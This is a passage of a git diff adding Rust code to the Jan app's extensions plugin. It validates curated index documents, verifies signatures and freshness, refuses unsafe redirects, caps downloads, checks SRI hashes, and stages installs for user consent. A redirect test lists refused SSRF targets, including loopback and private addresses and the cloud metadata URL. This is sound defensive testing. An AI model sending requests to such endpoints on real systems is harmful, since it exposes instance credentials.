is_reserved_id, is_semver};+use crate::permissions::is_permission_string;+use crate::signature::{self, is_public_key, MAX_SIGNATURE_BYTES};+use crate::store::parse_rfc3339;++/// Largest index document.+pub const MAX_INDEX_BYTES: usize = 2 * 1024 * 1024;+/// Timeout of an index fetch.+pub const INDEX_TIMEOUT: Duration = Duration::from_secs(15);+/// Largest tarball.+pub const MAX_TARBALL_BYTES: usize = 50 * 1024 * 1024;+/// Timeout of a tarball download.+pub const TARBALL_TIMEOUT: Duration = Duration::from_secs(300);+/// The only index schema this build reads.+pub const SCHEMA: u32 = 1;++/// One version of an indexed extension.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase", deny_unknown_fields)]+pub struct IndexVersion {+ /// Semver version, equal to the tarball's package.json `version`.+ pub version: String,+ /// https URL of the `.tgz`.+ pub tarball: String,+ /// `sha512-<base64>` of the tarball.+ pub integrity: String,+ /// The manifest's `jan.apiVersion`, for display and filtering.+ pub api_version: String,+ /// The manifest's `engines`, for display and filtering.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub engines: Option<IndexEngines>,+ /// Exactly the manifest's `jan.permissions`.+ pub permissions: Vec<String>,+ /// An https link to a provenance attestation the index maintainer+ /// checked. Shown as reported by the source; Jan does not verify it.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub provenance: Option<String>,+}++/// `engines` of an index version.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(deny_unknown_fields)]+pub struct IndexEngines {+ /// The app versions the extension supports.+ pub jan: String,+}++/// One extension in an index.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase", deny_unknown_fields)]+pub struct IndexExtension {+ /// Extension id.+ pub id: String,+ /// Shown in the catalog.+ pub display_name: String,+ /// Shown in the catalog.+ pub publisher: String,+ /// Shown in the catalog.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub description: Option<String>,+ /// An https link shown in the catalog.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub homepage: Option<String>,+ /// Available versions.+ pub versions: Vec<IndexVersion>,+}++/// An index document (`CuratedIndex` in the spec).+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase", deny_unknown_fields)]+pub struct CuratedIndex {+ /// Always [`SCHEMA`].+ pub schema: u32,+ /// When the index was generated, as given. For a keyed source it must+ /// be RFC 3339: an index older than one accepted before is refused.+ pub generated_at: String,+ /// RFC 3339 time after which a keyed source's index is refused, so a+ /// signed index cannot be served forever. Ignored for unsigned sources.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub expires: Option<String>,+ /// A base64 ed25519 key the maintainer will sign with next. Only offered+ /// to the user from a signed index, and only re-pinned once confirmed.+ #[serde(default, skip_serializing_if = "Option::is_none")]+ pub next_public_key: Option<String>,+ /// The listed extensions.+ pub extensions: Vec<IndexExtension>,+}++/// An index as read from a source.+#[derive(Debug, Clone, PartialEq, Eq)]+pub struct FetchedIndex {+ /// The parsed document.+ pub index: CuratedIndex,+ /// True when the source has a pinned key and the signature verified.+ pub signed: bool,+}++fn is_https(url: &str) -> bool {+ Url::parse(url).is_ok_and(|u| {+ u.scheme() == "https"+ && u.host_str().is_some_and(|h| !h.is_empty())+ && u.username().is_empty()+ && u.password().is_none()+ })+}++/// Parses and checks an index document. Every listed tarball must be https+/// and pinned by a sha512 SRI, every id, version and permission must be+/// well formed, and ids and versions must be unique.+pub fn parse(bytes: &[u8]) -> Result<CuratedIndex> {+ if bytes.len() > MAX_INDEX_BYTES {+ return Err(Error::TooLarge(format!("the index is larger than {MAX_INDEX_BYTES} bytes")));+ }+ let schema = serde_json::from_slice::<serde_json::Value>(bytes)+ .map_err(|e| Error::Invalid(format!("the index is not JSON: {e}")))?+ .get("schema")+ .and_then(serde_json::Value::as_u64);+ if schema != Some(u64::from(SCHEMA)) {+ return Err(Error::Invalid(format!(+ "the index has schema {}, and this Jan reads schema {SCHEMA}",+ schema.map_or("none".to_string(), |s| s.to_string())+ )));+ }+ let index: CuratedIndex = serde_json::from_slice(bytes)+ .map_err(|e| Error::Invalid(format!("the index is malformed: {e}")))?;+ let bad = |what: String| Err(Error::Invalid(format!("the index lists {what}")));+ if index.next_public_key.as_deref().is_some_and(|k| !is_public_key(k)) {+ return bad("a nextPublicKey that is not a base64 ed25519 key".into());+ }+ let mut ids = BTreeSet::new();+ for ext in &index.extensions {+ if !is_extension_id(&ext.id) {+ return bad(format!("an invalid extension id '{}'", ext.id));+ }+ if is_reserved_id(&ext.id) {+ return bad(format!("'{}', an id reserved for Jan's built-in extensions", ext.id));+ }+ if !ids.insert(ext.id.as_str()) {+ return bad(format!("{} twice", ext.id));+ }+ if ext.homepage.as_deref().is_some_and(|h| !is_https(h)) {+ return bad(format!("a homepage for {} that is not https", ext.id));+ }+ let mut versions = BTreeSet::new();+ for v in &ext.versions {+ let at = format!("{}@{}", ext.id, v.version);+ if !is_semver(&v.version) {+ return bad(format!("an invalid version for {}", ext.id));+ }+ if !versions.insert(v.version.as_str()) {+ return bad(format!("{at} twice"));+ }+ if !is_https(&v.tarball) {+ return bad(format!("a tarball for {at} that is not https"));+ }+ if !is_sri(&v.integrity) {+ return bad(format!("an integrity for {at} that is not a sha512 SRI"));+ }+ if v.provenance.as_deref().is_some_and(|p| !is_https(p)) {+ return bad(format!("a provenance for {at} that is not https"));+ }+ if !is_caret_range(&v.api_version) {+ return bad(format!("an apiVersion for {at} that is not a caret range"));+ }+ let mut perms = BTreeSet::new();+ for p in &v.permissions {+ if !is_permission_string(p) || !perms.insert(p.as_str()) {+ return bad(format!("an invalid or repeated permission '{p}' for {at}"));+ }+ }+ }+ }+ Ok(index)+}++/// How far a signed index's `generatedAt` may run ahead of this clock.+const MAX_CLOCK_SKEW_SECS: i64 = 24 * 60 * 60;++/// Checks the freshness of a signed index: `generatedAt` must not be older+/// than `last`, the newest one accepted from the source before (equal is+/// the same index fetched again), nor more than [`MAX_CLOCK_SKEW_SECS`]+/// after `now` (seconds since the epoch), and a signed `expires` must not+/// have passed at `now`. Returns whether `generatedAt` is newer than+/// `last`, so the caller records it.+pub fn check_freshness(index: &CuratedIndex, last: Option<&str>, now: u64) -> Result<bool> {+ let generated = parse_rfc3339(&index.generated_at).ok_or(SignatureError::BadTimestamp("generatedAt"))?;+ let now = i64::try_from(now).unwrap_or(i64::MAX);+ if generated > (now.saturating_add(MAX_CLOCK_SKEW_SECS), 0) {+ return Err(SignatureError::FromTheFuture(index.generated_at.clone()).into());+ }+ if let Some(expires) = &index.expires {+ let (at, nanos) = parse_rfc3339(expires).ok_or(SignatureError::BadTimestamp("expires"))?;+ if now > at || (now == at && nanos == 0) {+ return Err(SignatureError::Expired(expires.clone()).into());+ }+ }+ // A stored value that no longer parses is ignored rather than locking+ // the source out; it is replaced by this index's time.+ let Some((last, last_at)) = last.and_then(|l| parse_rfc3339(l).map(|at| (l, at))) else {+ return Ok(true);+ };+ if generated < last_at {+ return Err(SignatureError::Rollback {+ generated_at: index.generated_at.clone(),+ last: last.to_string(),+ }+ .into());+ }+ Ok(generated > last_at)+}++/// The listing of exactly `id@version`.+pub fn resolve<'a>(index: &'a CuratedIndex, id: &str, version: &str) -> Result<&'a IndexVersion> {+ let ext = index+ .extensions+ .iter()+ .find(|e| e.id == id)+ .ok_or_else(|| Error::NotFound(format!("the index does not list {id}")))?;+ ext.versions+ .iter()+ .find(|v| v.version == version)+ .ok_or_else(|| Error::NotFound(format!("the index does not list {id}@{version}")))+}++/// Why a redirect of a tarball download is refused, if it is.+///+/// Redirects stay allowed because common tarball hosts (GitHub release+/// assets, CDNs) answer with one to another host. A hop must stay on https+/// and name a host by DNS: an IP literal or a localhost name is refused, so+/// a listing cannot bounce Jan onto loopback or a private address it spells+/// out. A name that resolves to a private address is the accepted DNS risk+/// described in [`crate::http`]; TLS still has to verify for it.+pub fn redirect_refusal(url: &Url) -> Option<&'static str> {+ if url.scheme() != "https" {+ return Some("redirect away from https");+ }+ match url.host() {+ Some(url::Host::Domain(name)) => {+ let name = name.trim_end_matches('.').to_ascii_lowercase();+ if name == "localhost" || name.ends_with(".localhost") {+ Some("redirect to localhost")+ } else {+ None+ }+ }+ Some(_) => Some("redirect to an IP address"),+ None => Some("redirect without a host"),+ }+}++/// The client used for tarballs: no cookies, at most 5 redirects, each+/// checked by [`redirect_refusal`]. Index documents use+/// [`document_client`], which follows none.+pub fn client() -> Result<reqwest::Client> {+ reqwest::Client::builder()+ .redirect(reqwest::redirect::Policy::custom(|attempt| {+ if attempt.previous().len() >= 5 {+ return attempt.error("too many redirects");+ }+ match redirect_refusal(attempt.url()) {+ Some(reason) => attempt.error(reason),+ None => attempt.follow(),+ }+ }))+ .connect_timeout(Duration::from_secs(15))+ .build()+ .map_err(|e| Error::Network(format!("cannot create the HTTP client: {e}")))+}++/// GETs `url` with `client`, failing on a non-2xx status, after `timeout`,+/// or once the body passes `cap` bytes (counted as it arrives).+pub async fn get_capped(client: &reqwest::Client, url: &str, cap: usize, timeout: Duration) -> Result<Vec<u8>> {+ let work = async {+ let mut response = client+ .get(url)+ .send()+ .await+ .map_err(|e| Error::Network(format!("cannot fetch {url}: {e}")))?;+ if !response.status().is_success() {+ return Err(Error::Network(format!("{url} answered {}", response.status())));+ }+ if response.content_length().is_some_and(|n| n > cap as u64) {+ return Err(Error::TooLarge(format!("{url} is larger than {cap} bytes")));+ }+ let mut body = Vec::new();+ while let Some(chunk) = response+ .chunk()+ .await+ .map_err(|e| Error::Network(format!("cannot read {url}: {e}")))?+ {+ if body.len() + chunk.len() > cap {+ return Err(Error::TooLarge(format!("{url} is larger than {cap} bytes")));+ }+ body.extend_from_slice(&chunk);+ }+ Ok(body)+ };+ tokio::time::timeout(timeout, work)+ .await+ .map_err(|_| Error::Network(format!("{url} timed out")))?+}++/// The client used for index documents and their signatures: no cookies+/// and no redirects, so a 3xx fails the fetch. A signed index binds its+/// bytes, but neither it nor its `.sig` has a reason to move.+pub fn document_client() -> Result<reqwest::Client> {+ reqwest::Client::builder()+ .redirect(reqwest::redirect::Policy::none())+ .connect_timeout(Duration::from_secs(15))+ .build()+ .map_err(|e| Error::Network(format!("cannot create the HTTP client: {e}")))+}++/// Checks `bytes` against the pinned `public_key`, if any, then parses+/// them. `signature` is what fetching the `.sig` gave; it is only looked at+/// for a keyed source, where a missing, malformed or wrong signature+/// rejects the index before any of it is parsed.+pub fn verify_and_parse(+ bytes: &[u8],+ signature: Option<Result<Vec<u8>>>,+ public_key: Option<&str>,+) -> Result<FetchedIndex> {+ let signed = match public_key {+ None => false,+ Some(key) => {+ let sig = match signature {+ Some(Ok(sig)) => sig,+ Some(Err(e)) => return Err(SignatureError::Missing(e.to_string()).into()),+ None => return Err(SignatureError::Missing("it was not fetched".into()).into()),+ };+ signature::verify_index(bytes, &sig, key)?;+ true+ }+ };+ Ok(FetchedIndex {+ index: parse(bytes)?,+ signed,+ })+}++/// Fetches the index at `url` (https only, 2 MiB, 15 s) and, for a source+/// with a pinned `public_key`, its `<url>.sig` with the same client+/// (1 KiB, 15 s), and checks it with [`verify_and_parse`].+pub async fn fetch_index(client: &reqwest::Client, url: &str, public_key: Option<&str>) -> Result<FetchedIndex> {+ let url = crate::sources::https_url(url)?;+ fetch_index_at(client, &url, public_key).await+}++/// [`fetch_index`] without the https check, so tests can serve an index+/// and its signature from a local plain-http listener.+pub async fn fetch_index_at(client: &reqwest::Client, url: &Url, public_key: Option<&str>) -> Result<FetchedIndex> {+ let bytes = get_capped(client, url.as_str(), MAX_INDEX_BYTES, INDEX_TIMEOUT).await?;+ let signature = match public_key {+ Some(_) => {+ let sig_url = signature::signature_url(url);+ Some(get_capped(client, sig_url.as_str(), MAX_SIGNATURE_BYTES, INDEX_TIMEOUT).await)+ }+ None => None,+ };+ verify_and_parse(&bytes, signature, public_key)+}++/// Downloads the tarball of `version` (https only, at most 50 MiB) and+/// checks it against the pinned SRI.+pub async fn download_tarball(client: &reqwest::Client, version: &IndexVersion) -> Result<Vec<u8>> {+ if !is_https(&version.tarball) {+ return Err(Error::Invalid(format!("{} is not an https URL", version.tarball)));+ }+ let bytes = get_capped(client, &version.tarball, MAX_TARBALL_BYTES, TARBALL_TIMEOUT).await?;+ integrity::verify(&bytes, &version.integrity)?;+ Ok(bytes)+}++#[cfg(test)]+mod tests {+ use super::*;+ use serde_json::json;++ #[test]+ fn redirects_only_reach_named_https_hosts() {+ let refused = |u: &str| redirect_refusal(&Url::parse(u).unwrap());+ for ok in [+ "https://objects.githubusercontent.com/x.tgz",+ "https://cdn.example.com/a",+ ] {+ assert_eq!(refused(ok), None, "{ok}");+ }+ for bad in [+ "http://cdn.example.com/a",+ "https://127.0.0.1/",+ "https://127.1/",+ "https://0x7f000001/",+ "https://10.0.0.5/",+ "https://192.168.1.1/",+ "https://169.254.169.254/latest/meta-data",+ "https://[::1]/",+ "https://[fd00::1]/",+ "https://localhost/",+ "https://LOCALHOST./",+ "https://api.localhost/",+ ] {+ assert!(refused(bad).is_some(), "{bad}");+ }+ }++ const SRI: &str = "sha512-z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXcg/SpIdNs6c5H0NE8XYXysP+DGNKHfuwvY7kxvUdBeoGlODJ6+SfaPg==";++ fn sample() -> serde_json::Value {+ json!({+ "schema": 1,+ "generatedAt": "2026-10-24T00:00:00Z",+ "extensions": [{+ "id": "acme.hello",+ "displayName": "Hello",+ "publisher": "Acme",+ "description": "Says hello",+ "homepage": "https://acme.example.com",+ "versions": [+ { "version": "0.1.0", "tarball": "https://cdn.example.com/hello-0.1.0.tgz",+ "integrity": SRI, "apiVersion": "^1.0.0", "engines": { "jan": ">=0.8.0" },+ "permissions": ["ui:notify"] },+ { "version": "0.2.0", "tarball": "https://cdn.example.com/hello-0.2.0.tgz",+ "integrity": SRI, "apiVersion": "^1.0.0", "permissions": ["ui:notify", "tools"] }+ ]+ }]+ })+ }++ fn parse_value(v: &serde_json::Value) -> Result<CuratedIndex> {+ parse(&serde_json::to_vec(v).unwrap())+ }++ #[test]+ fn parses_the_documented_format() {+ let index = parse_value(&sample()).unwrap();+ assert_eq!(index.extensions[0].versions.len(), 2);+ assert_eq!(+ index.extensions[0].versions[0].engines,+ Some(IndexEngines { jan: ">=0.8.0".into() })+ );+ // Serializes back to the same shape.+ assert_eq!(serde_json::to_value(&index).unwrap(), sample());+ }++ #[test]+ fn rejects_an_unknown_schema() {+ for schema in [json!(2), json!(0), json!("1"), serde_json::Value::Null] {+ let mut v = sample();+ v["schema"] = schema;+ assert!(matches!(parse_value(&v), Err(Error::Invalid(m)) if m.contains("schema")));+ }+ let mut v = sample();+ v.as_object_mut().unwrap().remove("schema");+ assert!(parse_value(&v).is_err());+ }++ #[test]+ fn rejects_a_non_https_tarball() {+ for url in ["http://cdn.example.com/x.tgz", "file:///x.tgz", "https://u:[email protected]/x.tgz", "x.tgz"] {+ let mut v = sample();+ v["extensions"][0]["versions"][0]["tarball"] = json!(url);+ assert!(parse_value(&v).is_err(), "{url}");+ }+ }++ #[test]+ fn rejects_a_bad_sri() {+ for sri in ["sha1-abc", "sha512-", "sha512-%%%", "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="] {+ let mut v = sample();+ v["extensions"][0]["versions"][0]["integrity"] = json!(sri);+ assert!(parse_value(&v).is_err(), "{sri}");+ }+ }++ #[test]+ fn rejects_malformed_entries() {+ let cases: Vec<(&str, serde_json::Value)> = vec![+ ("/extensions/0/id", json!("Acme.Hello")),+ ("/extensions/0/id", json!("jan.hello")),+ ("/extensions/0/homepage", json!("http://acme.example.com")),+ ("/extensions/0/versions/0/version", json!("1.0")),+ ("/extensions/0/versions/1/version", json!("0.1.0")),+ ("/extensions/0/versions/0/apiVersion", json!(">=0.1.0")),+ ("/extensions/0/versions/0/permissions", json!(["fs:write"])),+ ("/extensions/0/versions/0/permissions", json!(["tools", "tools"])),+ ("/extensions/0/extra", json!(1)),+ ];+ for (pointer, value) in cases {+ let mut v = sample();+ let (parent, key) = pointer.rsplit_once('/').unwrap();+ v.pointer_mut(parent).unwrap()[key] = value;+ assert!(parse_value(&v).is_err(), "{pointer}");+ }+ let mut v = sample();+ let dup = v["extensions"][0].clone();+ v["extensions"].as_array_mut().unwrap().push(dup);+ assert!(parse_value(&v).is_err());+ }++ #[test]+ fn rejects_an_oversized_index() {+ assert!(matches!(parse(&vec![b' '; MAX_INDEX_BYTES + 1]), Err(Error::TooLarge(_))));+ }++ #[test]+ fn resolve_picks_the_exact_version() {+ let index = parse_value(&sample()).unwrap();+ assert_eq!(resolve(&index, "acme.hello", "0.2.0").unwrap().permissions, vec!["ui:notify", "tools"]);+ assert_eq!(resolve(&index, "acme.hello", "0.1.0").unwrap().version, "0.1.0");+ assert!(matches!(resolve(&index, "acme.hello", "0.2"), Err(Error::NotFound(_))));+ assert!(matches!(resolve(&index, "acme.hello", "^0.1.0"), Err(Error::NotFound(_))));+ assert!(matches!(resolve(&index, "acme.other", "0.1.0"), Err(Error::NotFound(_))));+ }++ #[tokio::test]+ async fn fetch_refuses_plain_http() {+ let client = document_client().unwrap();+ for key in [None, Some(signature::tests::public_key(&signature::tests::signing_key(7)))] {+ let err = fetch_index(&client, "http://127.0.0.1:9/index.json", key.as_deref())+ .await+ .unwrap_err();+ assert!(matches!(err, Error::Invalid(_)), "{err}");+ }+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/install.rs b/src-tauri/plugins/tauri-plugin-extensions/src/install.rsnew file mode 100644index 000000000..742ba370b--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/install.rs@@ -0,0 +1,733 @@+//! The install pipeline and lifecycle over the pure modules: stage a+//! tarball, confirm it with the user's grants, then enable, revoke, roll+//! back, uninstall and serve the entry file.+//!+//! Nothing here runs package code: `scripts` is never read and no process+//! is spawned. Every registry change happens under `ExtensionsState::lock`,+//! and every path is built from a validated extension id and semver version.++use std::collections::BTreeSet;+use std::fs;+use std::io::Read;+use std::path::{Path, PathBuf};++use serde::{Deserialize, Serialize};+use serde_json::Value;++use crate::bundle::{self, Limits};+use crate::error::{Error, Result};+use crate::integrity::sha512_sri;+use crate::manifest::{self, is_extension_id, ValidatedManifest, HOST_API_VERSION};+use crate::registry::{Entry, Registry, Source, VersionRecord};+use crate::state::{lock, ExtensionsState, Stage, StageSlot, STAGING_DIR};+use crate::store::now_rfc3339;++/// Largest tarball accepted, compressed.+pub const MAX_TARBALL_BYTES: u64 = 50 * 1024 * 1024;++/// What an update changes in the permissions the user is asked about.+#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct PermissionDiff {+ /// Requested by the new version and not granted now: needs consent.+ pub added: Vec<String>,+ /// Requested by the installed version and no longer by the new one.+ pub removed: Vec<String>,+}++/// The installed version a stage would replace.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct Existing {+ /// The active version.+ pub version: String,+ /// What the user granted it.+ pub granted: Vec<String>,+ /// Where the active version came from, so an update from another source+ /// can say so.+ pub source: Source,+ /// The active version came from a keyed source whose signature verified.+ pub verified: bool,+}++/// A staged package, shown in the consent dialog.+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct StagedInstall {+ /// Pass to `confirm_install` or `discard_stage`.+ pub stage_id: String,+ /// The package.json of the package.+ pub manifest: Value,+ /// SRI of the tarball.+ pub sha512: String,+ /// From a source with a pinned key whose index signature verified.+ /// Never true for a file from disk or an unsigned source.+ pub verified: bool,+ /// The tarball matched an SRI pinned by an index.+ pub integrity_checked: bool,+ /// Where the tarball came from.+ pub source: Source,+ /// The installed version this would update, if any.+ pub existing: Option<Existing>,+ /// For an update, what changes; for a new install, every requested+ /// permission is in `added`.+ pub permission_diff: PermissionDiff,+}++/// One installed extension, as the UI and loader see it.+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct InstalledExtension {+ /// The extension id.+ pub id: String,+ /// The active version.+ pub version: String,+ /// The version kept for rollback.+ pub previous: Option<String>,+ /// Whether it is loaded (safe mode aside).+ pub enabled: bool,+ /// The grants.+ pub granted: Vec<String>,+ /// What the active version requests.+ pub permissions: Vec<String>,+ /// Where the active version came from.+ pub source: Source,+ /// The active version came from a keyed source whose index signature+ /// verified.+ pub verified: bool,+ /// The tarball matched a pinned SRI.+ pub integrity_checked: bool,+ /// RFC 3339 UTC.+ pub installed_at: String,+ /// The active version's package.json, or null if it cannot be read.+ pub manifest: Value,+}++/// What `list` returns.+#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct ListResult {+ /// No installed extension may run.+ pub safe_mode: bool,+ /// Safe mode is forced by `JAN_EXTENSIONS_SAFE_MODE=1` and cannot be+ /// turned off from the UI.+ pub safe_mode_forced: bool,+ /// Set when an unreadable registry was moved aside at startup.+ pub recovered_from: Option<String>,+ /// Every installed extension, by id.+ pub extensions: Vec<InstalledExtension>,+}++/// The entry bundle of an enabled extension, checked against its hash.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct EntrySource {+ /// The bundle's source text.+ pub code: String,+ /// Its SRI, equal to the one recorded at install time.+ pub sha512: String,+}++/// What an index pinned about a tarball, checked against its manifest.+#[derive(Debug, Clone, PartialEq, Eq)]+pub struct Expected {+ /// `jan.id`.+ pub id: String,+ /// package.json `version`.+ pub version: String,+ /// `jan.permissions`, compared as a set.+ pub permissions: Vec<String>,+}++fn checked_id(id: &str) -> Result<()> {+ if is_extension_id(id) {+ Ok(())+ } else {+ Err(Error::Invalid(format!("'{id}' is not an extension id")))+ }+}++fn version_dir(root: &Path, id: &str, version: &str) -> PathBuf {+ root.join(id).join(version)+}++fn read_capped(reader: impl Read, cap: u64) -> Result<Vec<u8>> {+ let mut bytes = Vec::new();+ reader.take(cap + 1).read_to_end(&mut bytes)?;+ if bytes.len() as u64 > cap {+ return Err(Error::TooLarge(format!("the tarball is larger than {cap} bytes")));+ }+ Ok(bytes)+}++fn sorted_set(items: &[String]) -> BTreeSet<&str> {+ items.iter().map(String::as_str).collect()+}++fn diff(existing: Option<(&Entry, &[String])>, requested: &[String]) -> PermissionDiff {+ match existing {+ None => PermissionDiff {+ added: requested.to_vec(),+ removed: Vec::new(),+ },+ Some((entry, old_permissions)) => {+ let granted = sorted_set(&entry.granted);+ let next = sorted_set(requested);+ PermissionDiff {+ // A permission the user revoked is asked for again.+ added: requested+ .iter()+ .filter(|p| !granted.contains(p.as_str()))+ .cloned()+ .collect(),+ removed: old_permissions+ .iter()+ .filter(|p| !next.contains(p.as_str()))+ .cloned()+ .collect(),+ }+ }+ }+}++fn file_name_of(path: &Path) -> String {+ path.file_name()+ .map(|n| n.to_string_lossy().into_owned())+ .unwrap_or_default()+}++/// Reads the `.tgz` at `path` (at most 50 MiB), extracts and validates it+/// into `.staging`. The result is unverified: anyone could have built it.+pub fn stage_bundle(state: &ExtensionsState, path: &Path) -> Result<StagedInstall> {+ let slot = StageSlot::reserve(state)?;+ let meta = fs::metadata(path)?;+ if !meta.is_file() {+ return Err(Error::Invalid(format!("{} is not a file", path.display())));+ }+ if meta.len() > MAX_TARBALL_BYTES {+ return Err(Error::TooLarge(format!(+ "the tarball is larger than {MAX_TARBALL_BYTES} bytes"+ )));+ }+ let bytes = read_capped(fs::File::open(path)?, MAX_TARBALL_BYTES)?;+ let source = Source::Bundle {+ file_name: file_name_of(path),+ sha512: sha512_sri(&bytes),+ };+ stage_tarball(state, slot, &bytes, source, Trust::default(), None)+}++/// What is known about where a tarball came from.+#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]+pub struct Trust {+ /// It matched an SRI pinned by an index.+ pub integrity_checked: bool,+ /// That index verified against its source's pinned key.+ pub verified: bool,+}++/// Extracts and validates `bytes` into the stage reserved by `slot`.+/// `expected` is what an index pinned; a manifest that disagrees with it is+/// refused.+pub fn stage_tarball(+ state: &ExtensionsState,+ slot: StageSlot,+ bytes: &[u8],+ source: Source,+ trust: Trust,+ expected: Option<&Expected>,+) -> Result<StagedInstall> {+ // A signature vouches for the listing, and only the pinned SRI binds the+ // tarball to it.+ let trust = Trust {+ verified: trust.verified && trust.integrity_checked,+ ..trust+ };+ if bytes.len() as u64 > MAX_TARBALL_BYTES {+ return Err(Error::TooLarge(format!(+ "the tarball is larger than {MAX_TARBALL_BYTES} bytes"+ )));+ }+ let sha512 = sha512_sri(bytes);+ let stage_id = slot.id().to_string();+ let dir = state.root.join(STAGING_DIR).join(&stage_id);+ let extracted = bundle::extract(bytes, &dir, Limits::default())?;+ let validated = (|| -> Result<(ValidatedManifest, String)> {+ let manifest = manifest::validate_package(+ &extracted.root,+ &extracted.package_json,+ &state.options.app_version,+ HOST_API_VERSION,+ )?;+ if let Some(expected) = expected {+ check_expected(&manifest, expected)?;+ }+ let entry = manifest::check_main_file(&extracted.root, &manifest.main)?;+ let entry_sha512 = sha512_sri(&fs::read(entry)?);+ Ok((manifest, entry_sha512))+ })();+ let (manifest, entry_sha512) = match validated {+ Ok(v) => v,+ Err(e) => {+ let _ = fs::remove_dir_all(&dir);+ return Err(e);+ }+ };++ let existing = {+ let _guard = lock(&state.lock);+ let registry = state.load_registry()?;+ registry.extensions.get(&manifest.id).cloned()+ };+ let permission_diff = diff(+ existing+ .as_ref()+ .map(|e| (e, e.current.permissions.as_slice())),+ &manifest.permissions,+ );+ let staged = StagedInstall {+ stage_id: stage_id.clone(),+ manifest: manifest.package.clone(),+ sha512: sha512.clone(),+ verified: trust.verified,+ integrity_checked: trust.integrity_checked,+ source: source.clone(),+ existing: existing.map(|e| Existing {+ version: e.active,+ granted: e.granted,+ source: e.current.source,+ verified: e.current.verified,+ }),+ permission_diff,+ };+ slot.fill(+ Stage {+ id: stage_id,+ dir,+ manifest,+ sha512,+ source,+ integrity_checked: trust.integrity_checked,+ verified: trust.verified,+ entry_sha512,+ },+ );+ Ok(staged)+}++/// Refuses a manifest whose id, version or permissions differ from what+/// the index listed, so consent is given to what the catalog showed.+pub fn check_expected(manifest: &ValidatedManifest, expected: &Expected) -> Result<()> {+ if manifest.id != expected.id || manifest.version != expected.version {+ return Err(Error::Tampered(format!(+ "the tarball contains {}@{}, but the index lists {}@{}",+ manifest.id, manifest.version, expected.id, expected.version+ )));+ }+ if sorted_set(&manifest.permissions) != sorted_set(&expected.permissions)+ || manifest.permissions.len() != expected.permissions.len()+ {+ return Err(Error::Tampered(+ "the tarball requests other permissions than the index lists".into(),+ ));+ }+ Ok(())+}++fn no_stage(stage_id: &str) -> Error {+ Error::NotFound(format!("no staged install '{stage_id}'"))+}++/// Removes a ready stage. A slot still being prepared is not a stage and is+/// left to its [`StageSlot`].+fn take_stage(state: &ExtensionsState, stage_id: &str) -> Result<Stage> {+ let mut stages = lock(&state.stages);+ if !matches!(stages.get(stage_id), Some(Some(_))) {+ return Err(no_stage(stage_id));+ }+ stages.remove(stage_id).flatten().ok_or_else(|| no_stage(stage_id))+}++/// Deletes a stage and its files.+pub fn discard_stage(state: &ExtensionsState, stage_id: &str) -> Result<()> {+ let stage = take_stage(state, stage_id)?;+ fs::remove_dir_all(&stage.dir)?;+ Ok(())+}++/// Removes every directory of `id` except `keep`.+fn prune_versions(root: &Path, id: &str, keep: &[&str]) {+ let Ok(entries) = fs::read_dir(root.join(id)) else {+ return;+ };+ for entry in entries.flatten() {+ let name = entry.file_name().to_string_lossy().into_owned();+ if !keep.contains(&name.as_str()) {+ if let Err(e) = fs::remove_dir_all(entry.path()) {+ log::warn!("cannot remove {}: {e}", entry.path().display());+ }+ }+ }+}++/// Moves a stage into `<id>/<version>` and records it. `granted` must be a+/// superset of the permissions the package requests; what is stored is the+/// requested set, so an extra entry can never grant anything. An update+/// keeps the replaced version as `previous` and deletes any older one; a+/// version lower than or equal to the active one is refused (use rollback).+///+/// The order keeps the registry and the disk consistent on any failure:+/// rename, verify, save the registry, and only then prune older versions.+/// Until the save, the registry still names the old active and previous+/// versions, whose directories are untouched; a failure removes the new+/// `<id>/<version>` so the same version can be installed again.+pub fn confirm_install(+ state: &ExtensionsState,+ stage_id: &str,+ granted: &[String],+) -> Result<InstalledExtension> {+ let requested = {+ let stages = lock(&state.stages);+ let stage = stages+ .get(stage_id)+ .and_then(Option::as_ref)+ .ok_or_else(|| no_stage(stage_id))?;+ stage.manifest.permissions.clone()+ };+ let granted_set = sorted_set(granted);+ let missing: Vec<&str> = requested+ .iter()+ .map(String::as_str)+ .filter(|p| !granted_set.contains(p))+ .collect();+ if !missing.is_empty() {+ return Err(Error::Denied(format!(+ "the extension needs these permissions to install: {}",+ missing.join(", ")+ )));+ }++ let _guard = lock(&state.lock);+ let mut registry = state.load_registry()?;+ let stage = take_stage(state, stage_id)?;+ let id = stage.manifest.id.clone();+ let version = stage.manifest.version.clone();+ let old = registry.extensions.get(&id).cloned();+ if let Some(old) = &old {+ let newer = match (+ semver::Version::parse(&version),+ semver::Version::parse(&old.active),+ ) {+ (Ok(new), Ok(active)) => new > active,+ _ => false,+ };+ if !newer {+ let _ = fs::remove_dir_all(&stage.dir);+ return Err(Error::Denied(format!(+ "{id} {} is installed; {version} is not newer (use rollback to go back)",+ old.active+ )));+ }+ }++ let id_dir = state.root.join(&id);+ let target = version_dir(&state.root, &id, &version);+ // Undoes a failed install: drops the new version and an `<id>/` this+ // install created, leaving the recorded versions alone.+ let fresh = old.is_none();+ let abandon = |e: Error| -> Error {+ 